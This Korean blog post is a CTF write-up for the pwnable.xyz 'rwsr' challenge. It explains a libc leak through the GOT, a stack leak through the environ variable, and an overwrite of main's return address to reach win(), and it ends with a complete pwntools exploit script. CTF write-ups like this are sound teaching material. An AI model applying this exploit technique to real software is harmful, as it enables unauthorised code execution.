pwnable.xyz 22번째 rwsr 문제이다.

 

 

keyword: environ 변수로 stack 주소 Leak

 


Analyze

해당 바이너리의 사용자 정의 함수는 아래와 같다.

이번에는 so 파일까지 주워젔다.

ubuntu:~/environment/ctf/pwnable.xyz/22_rwsr $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
handler
main
print_menu
read_ulong
setup
win

 

gdb로 바이너리를 분석해서 c로 나타내면 아래와 같다.

#include <stdio.h>

void print_menu(){
    printf("Menu:\n  1. Read\n  2. Write\n  0. Exit\n> ");
}

int read_ulong(){
    // stack clear
    
    read(0, rbp-0x30, 0x20);
    return strtoull(rbp-0x30, 0, 0);  // unsigned long long
}

int main(){
    puts("Read Write Sleep Repeat.");
    
    while(1){
        print_menu();
    
        int select = read_ulong();  // rbp-0x14
        
        if(select == 1){
            printf("Addr: ");
            unsigned long long tmp = read_ulong(); // rbp-0x10
            puts(tmp);
        }
        else if(select == 2){
            printf("Addr: ");
            unsigned long long tmp = read_ulong();  // rbp-0x10
            
            printf("Value: ");
            unsigned long long tmp2 = read_ulong(); // rbp-0x8
            *tmp = tmp2;
        }
        else if(select == 0)
            break;
    }
}

 

 

사용자가 입력한 주소의 값을 출력하거나, 입력한 주소에 값을 Write를 하는 기능이 있다.

하지만 PIE 가 적용되어 있어 공격이 힘들다.

 

 

 

여기서 구할 수 있는 것은 pwntools를 이용해서 특정 함수의 plt 주소를 적어 주면

그 함수의 GOT를 알 수 있다.

 

이때 libc_base 주소는 다음과 같다.

puts_got - libc_base = puts_offset

libc_base = puts_got - puts_offset

 

이번 문제는 so 파일이 주워졌다.

so 파일에 environ 변수의 offset 값과 libc_base 을 더하면 environ 변수의 주소를 얻을 수 있다.

이때 environ 변수의 값은 stack 주소 이다.

이에 대한 설명은 아래 주소에 있다.

 

[pwn] - environ 변수로 stack leak 하기

environ 변수를 이용해 stack leak 를 하는 방법이다. 이 공격을 하기 위해 다음과 같은 가정이 필요하다. libc base 주소를 알고 있다. 임의의 주소를 leak 할 수 있다. gdb-peda$ p 0x00007ffff79e4000 + 0x861a..

lactea.kr

environ_addr = libc_base + environ_offset

 

 

environ 변수의 값은 stack 주소이다.

main 함수의 RET 주소와 Leak 된 주소의 차는 0xf0 만큼 떨어져 있다.

따라서 main 함수의 RET stack 주소를 찾게 되었다.

 

바이너리의 기능을 이용해서 해당 주소에 win 함수의 주소를 write 하면 

프로그램이 끝날 때, win 함수가 실행이 된다.

 

 


Payload

from pwn import *


p = remote('svc.pwnable.xyz',30019)
e = ELF("./challenge",checksec=False)
l = ELF("./alpine-libc-2.28.so",checksec=False)


p.sendlineafter("> ", "1")
p.sendlineafter("Addr: ", str(e.got["puts"]))

puts_addr = p.recvuntil("M")
puts_addr = u64(puts_addr[0:len(puts_addr)-2].ljust(8, "\x00"))
libc_base = puts_addr - l.symbols["puts"]
environ_addr = libc_base + l.symbols["environ"]

p.sendlineafter("> " ,"1")
p.sendlineafter("Addr: ", str(environ_addr))

stack_addr = p.recvuntil("M")
stack_addr = u64(stack_addr[:len(stack_addr)-2].ljust(8, "\x00"))
stack_addr_ret = stack_addr - 0xf0

log.info("puts_addr >> "+hex(puts_addr))
log.info("puts_offset >> "+hex(l.symbols["puts"]))
log.info("libc_base >> "+hex(libc_base))
log.info("stack_addr >> "+hex(environ_addr))
log.info("envrion_addr >> "+hex(l.symbols["environ"]))
log.info("stack_addr_ret >> "+ hex(stack_addr_ret))

p.sendlineafter("> ", "2")
p.sendlineafter("Addr: ", str(stack_addr_ret))
p.sendlineafter("Value: ", str(e.symbols["win"]))

p.sendlineafter("> ", "0")

p.interactive()

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] catalog write up  (0) 2020.02.28
[pwnable.xyz] message write up  (0) 2020.02.25
[pwnable.xyz] rwsr write up  (0) 2020.02.25
[pwnable.xyz] bookmark write up  (0) 2020.02.25
[pwnable.xyz] uaf write up  (0) 2020.02.21
[pwnable.xyz] fspoo write up  (0) 2020.02.21